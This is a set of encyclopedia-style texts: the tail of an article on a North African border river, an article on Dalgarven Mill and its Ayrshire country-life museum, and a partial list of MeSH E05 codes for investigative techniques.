Ahmed Zainabi, La Vallée du Dra: Développement Alternatif et Action Communautaire, 2001 (Background paper WDR 2003)
External links
Michel, J. (1995). The Invasion of Morocco in 1591... University of Pennsylvania - African Studies Center.
Rivers of Morocco
Rivers of Algeria
Algeria–Morocco border
International rivers of Africa
Geographic history of Morocco
Ramsar sites in Morocco
Border rivers
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5088077
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https://en.wikipedia.org/wiki/Dalgarven%20Mill%20%E2%80%93%20Museum%20of%20Ayrshire%20Country%20Life%20and%20Costume
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Dalgarven Mill – Museum of Ayrshire Country Life and Costume
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Dalgarven Mill is near Kilwinning, in the Garnock Valley, North Ayrshire, Scotland and it is home to the Museum of Ayrshire Country Life and Costume. The watermill has been completely restored over a number of years and is run by the independent Dalgarven Mill Trust.
The village of Dalgarven was largely destroyed by the construction of the main A737 road, but the mill buildings survive and are open as a tourist attraction and educational resource, interpreting local history in addition to its role as a museum of Ayrshire country life. Very few mills remain in Ayrshire and this is an example which has been preserved due to the foresight of the family of the last miller who saw a modern role for an ancient industrial site and traditional social meeting-place. Some of the outbuildings have been converted for use as an antique shop, others are still occupied as dwellings and some are in the process of being converted to uses which will enhance the quality of the experience of visitors to the mill complex.
The Ferguson family, descendants of the last miller, are still involved with the running of the museum, working with a board of trustees who are all volunteers. The mill is not part of the National Trust or the Museum of Scotland; it is however an accredited four star Ayrshire visitor attraction.
History of the Dalgarven mills
There has been a mill on this site of Groatholm since the 14th century, set up by the monks of Kilwinning Abbey. The first mill was a waulk or fulling mill producing woollen cloth. Retting was carried out here in ponds next to the river, this process being a stage in the manufacturing of vegetable fibres, especially the bast fibres. It involves submerging plant stems such as flax, jute or hemp in water, and soaking them for a period of time to loosen the fibers from the other components of the stem. The fibres can then be used to produce linen and other products, such as paper for banknotes, rope, etc.
The present mill was erected in 1614 as a corn mill and rebuilt in 1880 after being damaged by fire. The River Garnock's waters power a 6-metre diameter breast-shot wheel that drives the French burr millstones through cast iron gearing.
The traditional methods of producing flour can be followed during a tour of the mill. The wheel turns, when possible, following the almost total renewal of the mill machinery and a recent (2006-9) replacement of wooden components of the wheel, sluice, etc.
The mill race, leat or lade was critical to the efficient working of the mill and was a specialised craft; a leatwright is recorded on a grave in the Loudoun Kirk graveyard near Galston, East Ayrshire.
The weir on the River Garnock is made of boulders which are carefully placed and locked together creating a millpond that supplies a good head of water to the wheel through the lade. The weir was built on a natural dyke which runs across the Garnock at this point, its existence being carefully exploited by the monks of Kilwinning Abbey who chose the site for the mill. These dykes (bands of especially hard rock) are found at several points crossing the river and many were elsewhere were exploited as the bases for dams, such as also occurred at Cunninghamhead Mill on the River Annick.
A feature of many mills was the presence of trees or other structures shading the wheel from the intense summer sun. The reason for this was that when the wheel was not turning the wood components dried out and warped, putting a great deal of stress on the whole structure, putting it out of shape and creating breaks in the buckets, etc. At Dalgarven the wheel was originally enclosed by high walls which served the same purpose as trees.
The Dalgarven wheel is a low breastshot, where the water strikes the wheel at a quarter of its diameter or height of the wheel and it turns with an anti-clockwise rotation. On the outer edge of each bucket is a 'sacrificial board' which will break away if any object becomes wedged beneath it. This is very important, as the stresses and strains set up by the wheel suddenly stopping would cause considerable damage to the various cogs and to the drive to the grinding stones themselves, which have significant mass and momentum when employed in the process of grinding. The use of iron brackets to provide support to the wooden paddles on the wheel is an unusual feature. The massive wooden hirst supporting the grindstones can be viewed from inside of the mill.
In the 1940s, the miller at Dalgarven used the wheel to produce electricity which was stored in liquid acid batteries. At present (2006) the Mill Trustees are looking into the possibilities of using the wheel to produce electricity to help offset the mills contribution to global warming on the basis of 'Think Global, Act Local'.
The mill building has an unusual structural feature, an alcove, designed to attract nesting owls which would then feed off and help to control the vermin which stores of cereals and other foodstuffs always attract.
One feature of the mill is the relatively small number of windows. This may be purely practical, however avoidance of paying too high a 'window tax' may have been a consideration. Window tax was first levied in England in 1696 to offset the expenses of making up the gold and silver deficiency in the re-coinage of William III reign caused by clipping and filing of coins. It was set at two shillings for small tenements, six shillings for buildings with up to ten windows and ten shillings for those with twenty windows. Cottages were exempt. It was based on the number of windows in a house and large mansions often had many existing windows blocked up, such as a whole side of Loudoun Castle, in Ayrshire, Scotland. It was repealed in 1851 and replaced by a tax on inhabited houses.
Lying on the cobbles outside the original waulk mill and stables is a large oval sandstone object with metal attachments on its central axis. This was used to crush whin or gorse in a shallow trough, the stone being dragged up and down by a horse, making the spiny and tough branches of the plant suitable for use as animal feed. It was however only used if other sources of feed were lacking.
The mill's history is laid out in the Trust's publication - A Miller's Tale. The Life and Times of Dalgarven Mill, by Robert Ferguson, son of the last miller.
Heron, on a tour of Scotland in 1799, records that the miller at Dalgarven had constructed a wooden bridge in the Japanese style and interesting gardens with patterns of low box hedges.
"Thirlage" and the mills of Ayrshire
Thirlage was the feudal law by which the laird (lord) could force all those farmers living on his lands to bring their grain to his mill to be ground. Additionally they had to carry out repairs on the mill, maintain the lade and weir as well as conveying new millstones to the site. The width of some of the first roads was determined by the requirements of at least two people on either side of a millstone with a wooden axle called a 'mill-wand'.
The Thirlage Law was repealed in 1779 and after this many mills fell out of use as competition and unsubsidised running costs took their toll. This may explain why so many mills went out of use, as deduced from comparing Armstrong's 1775 map with the 1885 OS map.
For example, Lambroch Mill on Lambroughton Loch served the small Lambroughton farms and apart from stone rubble and some other indications, it has entirely vanished.
The Museum of Country Life
The three-storey grain store has been converted during the main restoration period of 1985 to 1987, to house an extensive collection of Ayrshire farming and domestic memorabilia, reflecting the self-sufficiency of the pre-industrial rural community that was Dalgarven. Displays include the themes of ploughing, threshing, harvesting and the village smithy. An antique shop is housed in an old outbuilding, a cafe provides snacks and meals and the original mill on the River Garnock's edge is being developed.
Views of the Museum and Mill
The River Garnock
For centuries the waters of the Garnock have supplied the motive power for the work of the mill. A weir and mill lade or race direct the waters to the mill's waterwheel.
The exterior of the mill
The interior of the mill
The interiors of the mill buildings have been entirely restored from the derelict condition that they had fallen into.
Exhibition areas
An upper floor of the mill is divided up into separate areas that recreate Victorian scenes from middle and working class houses.
Costume collection
The mill houses an extensive collection of costume and clothing from every walk of life. The exhibition area on the ground floor of the building is used to display items from the extensive collection.
The exhibitions are changed regularly. The costume collection is put to other practical purposes, such as for educational visits, open days and other special purposes.
Country life in days gone by
The first and second floors of the mill show all the aspects of country life with re-constructions of interiors (parlour, kitchen and bedroom) from Victorian times and displays of farm implements, Ayrshire Whitework, lace, luggage, dairy work, wildlife, storage jars, a bee skep and stand, quoits, early vacuum cleaners, washing machines, blacksmiths' tools, etc. The single room in a cottars house has been re-created, complete with box-beds, girnal, swee and other features, such as the bible-chair.
On each floor the restored mill machinery is open to view (hoppers, grindstones, wheel gearing, etc.) and on the ground floor is an exhibition of the stages in the restoration of the mill. The exhibition shows the enormous amount of work that had to be done to bring the mill back to life.
In the grounds of the mill are a number of items of interest, such as a cast-iron milestone and various horse- and tractor-drawn ploughs, whin crushing stone, etc.
Education
School groups can visit the mill as part of their studies and are given guided tours and / or specific talks on the many topics which are covered by the trust's collections. The riverside walk provides many opportunities for various studies, such as river life, wildflower meadows, biodiversity, geography, geology, etc. The water wheel gives a focus for studying sustainability.
Other features of interest
Cup and ring mark stone
A type of petroglyph called a cup and ring mark stone is recorded as existing at Dalgarven by John Smith, the notable Ayrshire antiquarian. Unfortunately the exact whereabouts of the stone is unknown; however a copy has been produced and is on display in the grounds of the mill. The purpose of cup and ring marked stones is unknown. The carvings on the original stone would have dated from the Neolithic or Bronze Age times, being as old as 6000 years. This Dalgarven example is unusual in having cups and connecting toughs, but no rings. Often up to five concentric rings are found circling the central cup.
Fossils
Fossil-bearing limestone boulders are sometimes found in the river with fossilized tree fern roots and imprints of the trunk. These represent long-extinct plant species which grew to an impressive height compared to their modern relatives which only reach a few feet. Millions of years ago these plants thrived in a warm and hospitable climate and gave rise to much of the Scottish coal deposits.
Riverside walk
Visitors should leave time to wander through the unspoilt landscape formed by the gently flowing River Garnock. In spring, the wild flower meadow is at its best, in summer, sit by the riverbank and watch the heron, swallows, kingfisher and other wildlife. A Community Woodland has been established and the site is open access.
The gravel bed of the river was an important source of income for the millers, for through the estate they had sole right to the extraction of the gravel here, which was sold for various farm and horticultural purposes.
The meadows are particularly rich in pignut (Conopodium majus), a relative of parsley, which formed a breaktime snack for children in former times. If the plant is dug up a small potato-like structure is found which when eaten raw has a slightly nutty taste. It is available commercially for salads, etc.
Hemlock water dropwort grows well in the wetter areas and is best left alone as the name hemlock suggests. The large leaves of the butterbur (Petasites hybridus) are found in several areas; its name harkens back to the days before clingfilm or cheap paper when the leaves were used to wrap butter destined for the market. Water ragwort (or Saracen's ragwort) (a species of Senecio) is an introduced plant which grows along the riverside in tall stands. It is common on the Garnock and at present quite rare elsewhere. Himalayan balsam or policemen's helmets is another introduction, but a common one. Giant hogweed is beginning to make its presence felt. It is another plant which should never be handled as the sap can cause severe blistering and scarring of the skin. Ayrshire Rivers Trust are a local conservation charity that have been highly effective controlling invasive weeds in Ayrshire and are soon to tackle giant hogweed on the Garnock and other rivers in North Ayrshire. More information on the work of the Trust is available through their website at www.ayrshireriverstrust.org
The Stewarton flower or pink purslane (Claytonia sibirica) is common in wetter areas. It has white or pink flowers at this site, but closer to Stewarton it is almost always white. It seems that it was first introduced as a white variety in the Stewarton area in Victorian times and the common pink variety, introduced later, spread to other areas. Dalgarven, it seems, is on the edge of the white flower zone of dominance. Dalgarven is the only known site for the pocket plum gall (Taphrina padi) which develops on bird cherry.
Coppicing of the riverside alder trees is still carried out. Alders grow well in wet soils and are specially adapted for the low nutrient conditions through having large root nodules containing nitrogen-fixing bacteria which enrich the soil in the same way as clover plants and other legumes.
The many hedgerow trees in the vicinity of the mill were not planted by farmers for 'visual effect', they were crops and the wood was used for building and fencing. The miller needed beech or hornbeam wood for mill machinery, in particular the cogs on the drive wheels from the waterwheel.
It is not generally appreciated how much the Ayrshire landscape has changed its character over the last few hundred years, for even in the 1760-70 Statistical Account it is stated that "there was no such thing to be seen as trees or hedges in the parish; all was naked and open".
Countryside walks and the Sustrans cyclepath
A series of leaflets describing walks from the mill is available at a nominal fee. The Sustrans cyclepath from Irvine and Largs to Glasgow runs close nearby and cyclists often drop in for refreshment and a look around before heading up passed the Blair Estate and then along the old Lochwinnoch railway line via the Clyde Muirshiel Regional Park to Johnstone, Glasgow or Kilmacolm. The Dusk Water joins the Garnock at Dalgarven and one of Ayrshire's most interesting natural curiosities, Cleeves Cove cave system in the Dusk Glen, is within walking distance via Cockenzie and Auchenskeith farms.
Geocaching
The popular pastime of geocaching is represented on the nature walk by a hidden cache which contains a log book for visitors' comments and a 'take something and leave something choice'. A GPS is required for full participation, by logging on to the Geocaching website to enjoy visiting interesting (usually rural) locations.
Blair House
Until recently the home of the Borthwick family, Blair House, is nearby and had a long tradition of allowing public access to its grounds. It was said to be the house with the longest continuous occupation by the same family in Scotland until the family sold up in 2012.
Notes
References
Bennett, Graham (2006). Coin News. April 2006, Pps. 51-52.
Wood, J. Scott (2002). "An Architectural Survey of a Meal Mill at Coldstream by Beith, North Ayrshire." Paper No.55. Pub. Assoc. Cert. Field Arch. (Glasgow University).
See also
Nether Mill - Kilbirnie
Ballochmyle cup and ring marks
Barburgh Mill
Coldstream Mill - Beith.
Cunninghamhead Details of a series of mills on the Annick Water
Meikle Millbank Mill
Cup and ring mark
Museum of Scottish Country Life
Staddle stones
A Researcher's Guide to Local History terminology
External links
YouTube Video of Dalgarven Mill and the River Garnock
Dalgarven Mill
British Rock Art
Dalgarven Mill, Kilwinning
History of North Ayrshire
Museums in North Ayrshire
Rural history museums in Scotland
Mill museums in Scotland
Fashion museums in the United Kingdom
Category B listed buildings in North Ayrshire
Garnock Valley
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List of MeSH codes (E05)
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The following is a partial list of the "E" codes for Medical Subject Headings (MeSH), as defined by the United States National Library of Medicine (NLM).
This list continues the information at the List of MeSH codes (E04). Codes following these are found in the List of MeSH codes (E06). For other MeSH codes, see List of MeSH codes.
The source for this content is the set of 2006 MeSH Trees from the NLM.
– investigative techniques
– animal experimentation
– rotarod performance test
– vivisection
– animal identification systems
– anthropometry
– cephalometry
– odontometry
– pelvimetry
– artifacts
– autoanalysis
– autopsy
– biological assay
– endpoint determination
– limulus test
– biomedical enhancement
– genetic enhancement
– body weights and measures
– body mass index
– body size
– body height
– body weight
– birth weight
– fetal weight
– body surface area
– crown-rump length
– organ size
– skinfold thickness
– tumor burden
– waist-hip ratio
– brain mapping
– calibration
– calorimetry
– calorimetry, indirect
– catheterization
– cementation
– centrifugation
– ultracentrifugation
– centrifugation, density gradient
– centrifugation, isopycnic
– centrifugation, zonal
– chemistry, analytical
– activation analysis
– neutron activation analysis
– biuret reaction
– calorimetry
– calorimetry, differential scanning
– chemical fractionation
– fractionation, field flow
– chromatography
– chromatography, gas
– flame ionization
– mass fragmentography
– chromatography, liquid
– chromatography, affinity
– chromatography, gel
– chromatography, agarose
– chromatography, high pressure liquid
– chromatography, ion exchange
– chromatography, deae-cellulose
– chromatography, paper
– nucleotide mapping
– blotting, northern
– blotting, southern
– peptide mapping
– chromatography, thin layer
– countercurrent distribution
– chromatography, micellar electrokinetic capillary
– chromatography, supercritical fluid
– countercurrent distribution
– crystallization
– crystallography
– neutron diffraction
– powder diffraction
– x-ray diffraction
– crystallography, x-ray
– desiccation
– deuterium exchange measurement
– dialysis
– microdialysis
– differential thermal analysis
– calorimetry, differential scanning
– electrophoresis
– electrophoresis, agar gel
– comet assay
– electrophoresis, capillary
– electrophoresis, microchip
– electrophoresis, cellulose acetate
– electrophoresis, gel, pulsed-field
– electrophoresis, gel, two-dimensional
– electrophoresis, paper
– nucleotide mapping
– blotting, northern
– blotting, southern
– peptide mapping
– electrophoresis, polyacrylamide gel
– electrophoresis, disc
– electrophoresis, gel, two-dimensional
– electrophoresis, starch gel
– electrophoretic mobility shift assay
– immunoelectrophoresis
– counterimmunoelectrophoresis
– immunoelectrophoresis, two-dimensional
– isoelectric focusing
– filtration
– ultrafiltration
– hemofiltration
– hemodiafiltration
– flow injection analysis
– glucose clamp technique
– immunochemistry
– microchemistry
– microchip analytical procedures
– microfluidic analytical techniques
– electrophoresis, microchip
– microarray analysis
– oligonucleotide array sequence analysis
– protein array analysis
– tissue array analysis
– nucleotide mapping
– blotting, northern
– blotting, southern
– peptide mapping
– protein footprinting
– photometry
– densitometry
– absorptiometry, photon
– densitometry, x-ray
– luminescent measurements
– chemiluminescent measurements
– fluorometry
– cytophotometry
– flow cytometry
– image cytometry
– laser scanning cytometry
– fluorescence polarization
– fluorescence polarization immunoassay
– fluorescence recovery after photobleaching
– fluorophotometry
– spectrometry, fluorescence
– fluorescence resonance energy transfer
– nephelometry and turbidimetry
– spectrophotometry
– microspectrophotometry
– spectrophotometry, atomic
– spectrophotometry, infrared
– spectroscopy, fourier transform infrared
– spectrophotometry, ultraviolet
– polarography
– refractometry
– spectrum analysis
– circular dichroism
– magnetic resonance spectroscopy
– electron spin resonance spectroscopy
– nuclear magnetic resonance, biomolecular
– optical rotatory dispersion
– pulse radiolysis
– spectrometry, fluorescence
– spectrometry, gamma
– spectroscopy, mossbauer
– spectrometry, x-ray emission
– electron probe microanalysis
– spectrophotometry
– microspectrophotometry
– spectrophotometry, atomic
– spectrophotometry, infrared
– spectroscopy, fourier transform infrared
– spectrophotometry, ultraviolet
– spectroscopy, electron energy-loss
– microscopy, energy-filtering transmission electron
– spectroscopy, near-infrared
– spectrum analysis, mass
– mass fragmentography
– spectrometry, mass, electrospray ionization
– spectrometry, mass, fast atom bombardment
– spectrometry, mass, matrix-assisted laser desorption-ionization
– spectrometry, mass, secondary ion
– spectrum analysis, raman
– spin trapping
– surface plasmon resonance
– thermogravimetry
– titrimetry
– colorimetry
– complement hemolytic activity assay
– conductometry
– neutralization tests
– potentiometry
– skin test end-point titration
– ultracentrifugation
– centrifugation, density gradient
– centrifugation, isopycnic
– centrifugation, zonal
– clinical laboratory techniques
– culture techniques
– cell culture techniques
– coculture techniques
– diffusion chambers, culture
– embryo culture techniques
– organ culture techniques
– tissue culture techniques
– tissue engineering
– cytological techniques
– autoradiography
– cell count
– blood cell count
– erythrocyte count
– reticulocyte count
– leukocyte count
– lymphocyte count
– cd4 lymphocyte count
– cd4-cd8 ratio
– platelet count
– sperm count
– cell fractionation
– cell fusion
– cell separation
– cytapheresis
– leukapheresis
– plateletpheresis
– immunomagnetic separation
– leukocyte reduction procedures
– colony-forming units assay
– tumor stem cell assay
– cytogenetic analysis
– chromosome banding
– mitotic index
– cytophotometry
– flow cytometry
– image cytometry
– laser scanning cytometry
– diffusion chambers, culture
– drug screening assays, antitumor
– tumor stem cell assay
– electroporation
– histocytochemistry
– immunohistochemistry
– periodic acid-schiff reaction
– prussian blue reaction
– histocytological preparation techniques
– microtomy
– cryoultramicrotomy
– frozen sections
– replica techniques
– corrosion casting
– freeze fracturing
– freeze etching
– staining and labeling
– chromosome banding
– in situ hybridization
– in situ hybridization, fluorescence
– chromosome painting
– primed in situ labeling
– negative staining
– periodic acid-schiff reaction
– prussian blue reaction
– shadowing (histology)
– silver staining
– tissue embedding
– paraffin embedding
– plastic embedding
– tissue preservation
– cryopreservation
– freeze drying
– freeze substitution
– tissue fixation
– karyometry
– patch-clamp techniques
– molecular diagnostic techniques
– histological techniques
– autoradiography
– bone demineralization technique
– decalcification technique
– histocytochemistry
– immunohistochemistry
– fluorescent antibody technique
– fluorescent antibody technique, direct
– fluorescent antibody technique, indirect
– periodic acid-schiff reaction
– prussian blue reaction
– histocytological preparation techniques
– microdissection
– microtomy
– cryoultramicrotomy
– frozen sections
– replica techniques
– corrosion casting
– freeze fracturing
– freeze etching
– staining and labeling
– chromosome banding
– in situ hybridization
– in situ hybridization, fluorescence
– chromosome painting
– primed in situ labeling
– negative staining
– periodic acid-schiff reaction
– prussian blue reaction
– shadowing (histology)
– silver staining
– tissue embedding
– paraffin embedding
– plastic embedding
– tissue preservation
– cryopreservation
– freeze drying
– freeze substitution
– tissue fixation
– microbiological techniques
– bacteriological techniques
– bacterial typing techniques
– bacteriophage typing
– ribotyping
– serotyping
– limulus test
– colony count, microbial
– microbial sensitivity tests
– serum bactericidal test
– mycological typing techniques
– serial passage
– viral load
– virus cultivation
– plaque assay
– virus inactivation
– xenodiagnosis
– combinatorial chemistry techniques
– constriction
– containment of biohazards
– dermatoglyphics
– diet
– diet, atherogenic
– diet, cariogenic
– fasting
– dilatation
– drug administration routes
– administration, inhalation
– administration, intranasal
– administration, oral
– administration, buccal
– administration, sublingual
– administration, rectal
– administration, topical
– administration, buccal
– administration, cutaneous
– administration, intranasal
– administration, intravaginal
– administration, intravesical
– administration, rectal
– chemotherapy, cancer, regional perfusion
– infusions, parenteral
– infusions, intra-arterial
– infusions, intralesional
– infusions, intraosseous
– infusions, intravenous
– injections
– injections, intra-arterial
– injections, intra-articular
– injections, intralesional
– injections, intralymphatic
– injections, intramuscular
– injections, intraperitoneal
– injections, intravenous
– injections, intraventricular
– injections, spinal
– injections, epidural
– blood patch, epidural
– injections, subcutaneous
– injections, intradermal
– injections, jet
– biolistics
– microinjections
– instillation, drug
– iontophoresis
– phonophoresis
– drug administration schedule
– pulse therapy, drug
– embryo research
– research embryo creation
– epidemiologic methods
– contact tracing
– data collection
– geriatric assessment
– health surveys
– behavioral risk factor surveillance system
– dental health surveys
– dental plaque index
– dmf index
– oral hygiene index
– periodontal index
– health status indicators
– apache
– severity of illness index
– karnofsky performance status
– sickness impact profile
– mass screening
– anonymous testing
– genetic screening
– mass chest x-ray
– multiphasic screening
– neonatal screening
– vision screening
– nutrition surveys
– diet surveys
– population surveillance
– sentinel surveillance
– health care surveys
– interviews
– focus groups
– narration
– nutrition assessment
– nutrition surveys
– diet surveys
– questionnaires
– records
– birth certificates
– death certificates
– dental records
– hospital records
– medical records
– medical record linkage
– medical records systems, computerized
– medical records, problem-oriented
– trauma severity indices
– abbreviated injury scale
– glasgow coma scale
– glasgow outcome scale
– injury severity score
– nursing records
– registries
– seer program
– vital statistics
– life expectancy
– life tables
– morbidity
– basic reproduction number
– incidence
– prevalence
– mortality
– cause of death
– child mortality
– fatal outcome
– fetal mortality
– hospital mortality
– infant mortality
– maternal mortality
– survival rate
– pregnancy rate
– birth rate
– disease notification
– epidemiology, molecular
– sentinel surveillance
– statistics
– actuarial analysis
– analysis of variance
– multivariate analysis
– area under curve
– cluster analysis
– small-area analysis
– space-time clustering
– confidence intervals
– data interpretation, statistical
– discriminant analysis
– factor analysis, statistical
– matched-pair analysis
– models, statistical
– likelihood functions
– linear models
– logistic models
– models, economic
– models, econometric
– nomograms
– proportional hazards models
– monte carlo method
– probability
– bayes theorem
– likelihood functions
– markov chains
– odds ratio
– proportional hazards models
– risk
– logistic models
– risk assessment
– risk factors
– uncertainty
– regression analysis
– least-squares analysis
– linear models
– logistic models
– proportional hazards models
– sensitivity and specificity
– statistical distributions
– binomial distribution
– chi-square distribution
– normal distribution
– poisson distribution
– statistics, nonparametric
– stochastic processes
– markov chains
– survival analysis
– disease-free survival
– epidemiologic study characteristics
– epidemiologic studies
– case-control studies
– retrospective studies
– cohort studies
– longitudinal studies
– follow-up studies
– prospective studies
– cross-sectional studies
– seroepidemiologic studies
– hiv seroprevalence
– clinical trials
– clinical trials, phase i
– clinical trials, phase ii
– clinical trials, phase iii
– clinical trials, phase iv
– controlled clinical trials
– randomized controlled trials
– multicenter studies
– feasibility studies
– intervention studies
– pilot projects
– sampling studies
– twin studies
– epidemiologic research design
– control groups
– cross-over studies
– double-blind method
– matched-pair analysis
– meta-analysis
– random allocation
– reproducibility of results
– sample size
– sensitivity and specificity
– predictive value of tests
– roc curve
– single-blind method
– equipment design
– prosthesis design
– prosthesis coloring
– equipment failure
– intrauterine device expulsion
– prosthesis failure
– equipment failure analysis
– equipment reuse
– equipment safety
– ergometry
– exercise test
– euthanasia, animal
– evaluation studies
– clinical trials
– clinical trials, phase i
– clinical trials, phase ii
– clinical trials, phase iii
– clinical trials, phase iv
– controlled clinical trials
– randomized controlled trials
– multicenter studies
– device approval
– drug approval
– investigational new drug application
– drug evaluation
– drug evaluation, preclinical
– drug screening assays, antitumor
– tumor stem cell assay
– xenograft model antitumor assays
– subrenal capsule assay
– microbial sensitivity tests
– serum bactericidal test
– parasitic sensitivity tests
– product surveillance, postmarketing
– adverse drug reaction reporting systems
– clinical trials, phase iv
– program evaluation
– reproducibility of results
– fetal research
– food analysis
– genetic techniques
– chromatin immunoprecipitation
– chromosome mapping
– chromosome walking
– physical chromosome mapping
– contig mapping
– radiation hybrid mapping
– restriction mapping
– cloning, molecular
– artificial gene fusion
– two-hybrid system techniques
– cloning, organism
– contig mapping
– crosses, genetic
– genetic complementation test
– cytogenetic analysis
– chromosome banding
– in situ hybridization, fluorescence
– chromosome painting
– spectral karyotyping
– karyotyping
– spectral karyotyping
– sex determination (analysis)
– dna fingerprinting
– ribotyping
– dna footprinting
– epidemiology, molecular
– gene expression profiling
– gene targeting
– gene transfer techniques
– biolistics
– transduction, genetic
– transfection
– transformation, bacterial
– genetic engineering
– directed molecular evolution
– dna shuffling
– gene therapy
– genetic enhancement
– protein engineering
– amino acid substitution
– mutagenesis, insertional
– mutagenesis, site-directed
– sex preselection
– heterozygote detection
– in situ nick-end labeling
– molecular diagnostic techniques
– molecular probe techniques
– biotinylation
– blotting, northern
– blotting, southern
– blotting, southwestern
– branched dna signal amplification assay
– oligonucleotide array sequence analysis
– protein array analysis
– random amplified polymorphic dna technique
– two-hybrid system techniques
– mutagenicity tests
– comet assay
– micronucleus tests
– Nuclease protection assaysfpatch
– dna footprinting
– nucleic acid amplification techniques
– ligase chain reaction
– self-sustained sequence replication
– polymerase chain reaction
– primed in situ labeling
– random amplified polymorphic dna technique
– Reverse transcription polymerase chain reaction
– nucleic acid hybridization
– branched dna signal amplification assay
– heteroduplex analysis
– in situ hybridization
– in situ hybridization, fluorescence
– chromosome painting
– primed in situ labeling
– oligonucleotide array sequence analysis
– pedigree
– restriction mapping
– sequence alignment
– sequence analysis
– oligonucleotide array sequence analysis
– sequence analysis, dna
– dna mutational analysis
– sequence analysis, protein
– peptide mapping
– protein footprinting
– sequence analysis, rna
– hardness tests
– human experimentation
– autoexperimentation
– immersion
– immobilization
– restraint, physical
– hindlimb suspension
– immunologic techniques
– cell migration inhibition
– cytotoxicity tests, immunologic
– complement hemolytic activity assay
– epitope mapping
– hemolytic plaque technique
– histocompatibility testing
– lymphocyte culture test, mixed
– immune adherence reaction
– immunization
– immunization, passive
– adoptive transfer
– immunotherapy, adoptive
– immunization schedule
– immunization, secondary
– immunotherapy, active
– vaccination
– mass immunization
– immunoassay
– immunoblotting
– blotting, western
– blotting, far-western
– immunoenzyme techniques
– enzyme-linked immunosorbent assay
– enzyme multiplied immunoassay technique
– immunosorbent techniques
– enzyme-linked immunosorbent assay
– radioallergosorbent test
– radioimmunoprecipitation assay
– radioimmunosorbent test
– radioimmunoassay
– immunoradiometric assay
– radioallergosorbent test
– radioimmunoprecipitation assay
– radioimmunosorbent test
– immunohistochemistry
– fluorescent antibody technique
– antibody-coated bacteria test, urinary
– fluorescent antibody technique, direct
– fluorescent antibody technique, indirect
– fluoroimmunoassay
– fluorescence polarization immunoassay
– immunoenzyme techniques
– enzyme-linked immunosorbent assay
– enzyme multiplied immunoassay technique
– immunophenotyping
– immunoprecipitation
– chromatin immunoprecipitation
– precipitin tests
– flocculation tests
– immunodiffusion
– immunoelectrophoresis
– counterimmunoelectrophoresis
– immunoelectrophoresis, two-dimensional
– radioimmunoprecipitation assay
– immunosuppression
– desensitization, immunologic
– graft enhancement, immunologic
– lymphocyte depletion
– transplantation conditioning
– leukocyte adherence inhibition test
– lymphocyte activation
– monitoring, immunologic
– radioimmunodetection
– rosette formation
– serotyping
– skin window technique
– indicator dilution techniques
– dye dilution technique
– radioisotope dilution technique
– thermodilution
– interferometry
– microscopy, interference
– microscopy, phase-contrast
– moire topography
– intubation
– intubation, gastrointestinal
– intubation, intratracheal
– laryngeal masks
– irrigation
– bronchoalveolar lavage
– gastric lavage
– peritoneal lavage
– vaginal douching
– ischemic preconditioning
– ischemic preconditioning, myocardial
– isotope labeling
– manometry
– rhinomanometry
– materials testing
– methods
– microchip analytical procedures
– microfluidic analytical techniques
– electrophoresis, microchip
– microarray analysis
– oligonucleotide array sequence analysis
– protein array analysis
– tissue array analysis
– micromanipulation
– microdissection
– microinjections
– microsurgery
– microscopy
– microscopy, acoustic
– microscopy, confocal
– laser scanning cytometry
– microscopy, electron
– cryoelectron microscopy
– electron probe microanalysis
– microscopy, electron, scanning
– microscopy, electron, transmission
– microscopy, electron, scanning transmission
– microscopy, energy-filtering transmission electron
– microscopy, immunoelectron
– microscopy, fluorescence
– microscopy, fluorescence, multiphoton
– microscopy, interference
– microscopy, phase-contrast
– microscopy, polarization
– microscopy, scanning probe
– microscopy, atomic force
– microscopy, scanning tunneling
– microscopy, ultraviolet
– microscopy, video
– photomicrography
– models, animal
– disease models, animal
– arthritis, experimental
– diabetes mellitus, experimental
– liver cirrhosis, experimental
– neoplasms, experimental
– leukemia, experimental
– liver neoplasms, experimental
– mammary neoplasms, experimental
– melanoma, experimental
– sarcoma, experimental
– nervous system autoimmune disease, experimental
– encephalomyelitis, autoimmune, experimental
– myasthenia gravis, autoimmune, experimental
– neuritis, autoimmune, experimental
– radiation injuries, experimental
– molecular probe techniques
– biosensing techniques
– surface plasmon resonance
– blotting, far-western
– blotting, northern
– blotting, southern
– blotting, southwestern
– blotting, western
– branched dna signal amplification assay
– immunoassay
– immunoblotting
– blotting, western
– immunoenzyme techniques
– enzyme-linked immunosorbent assay
– enzyme multiplied immunoassay technique
– immunosorbent techniques
– enzyme-linked immunosorbent assay
– radioallergosorbent test
– radioimmunoprecipitation assay
– radioimmunosorbent test
– radioimmunoassay
– immunoradiometric assay
– radioallergosorbent test
– radioimmunoprecipitation assay
– radioimmunosorbent test
– oligonucleotide array sequence analysis
– protein array analysis
– protein interaction mapping
– blotting, far-western
– epitope mapping
– two-hybrid system techniques
– random amplified polymorphic dna technique
– neoplasm transplantation
– xenograft model antitumor assays
– subrenal capsule assay
– neuromuscular blockade
– oscillometry
– parabiosis
– cross circulation
– perfusion
– reperfusion
– myocardial reperfusion
– photography
– photography, dental
– physical conditioning, animal
– physical stimulation
– acoustic stimulation
– electric stimulation
– electroshock
– photic stimulation
– physiognomy
– preservation, biological
– cryopreservation
– freeze drying
– freeze substitution
– refrigeration
– tissue preservation
– blood preservation
– cold ischemia
– organ preservation
– semen preservation
– prosthesis fitting
– radiometry
– radiation dosage
– radiation monitoring
– body burden
– film dosimetry
– thermoluminescent dosimetry
– scintillation counting
– spectrometry, gamma
– spectrometry, x-ray emission
– electron probe microanalysis
– whole-body counting
– reproductive techniques
– breeding
– estrus detection
– estrus synchronization
– hybridization, genetic
– inbreeding
– cloning, organism
– embryo disposition
– fallopian tube patency tests
– ovulation detection
– ovulation prediction
– reproductive techniques, assisted
– embryo transfer
– fertilization in vitro
– sperm injections, intracytoplasmic
– posthumous conception
– gamete intrafallopian transfer
– insemination, artificial
– insemination, artificial, heterologous
– insemination, artificial, homologous
– oocyte donation
– ovulation induction
– superovulation
– zygote intrafallopian transfer
– rheology
– hemorheology
– laser-doppler flowmetry
– microfluidics
– sound spectrography
– stereotaxic techniques
– neuronavigation
– radiosurgery
– substance abuse detection
– technology, pharmaceutical
– combinatorial chemistry techniques
– selex aptamer technique
– dosage forms
– drug compounding
– drug incompatibility
– drug labeling
– drug packaging
– drug stability
– drug storage
– enzyme stability
– technology, radiologic
– teleradiology
– toxicity tests
– acute toxicity tests
– skin irritancy tests
– carcinogenicity tests
– toxicity tests, chronic
– cytotoxicity tests, immunologic
– inhibitory concentration 50
– lethal dose 50
– maximum tolerated dose
– mutagenicity tests
– comet assay
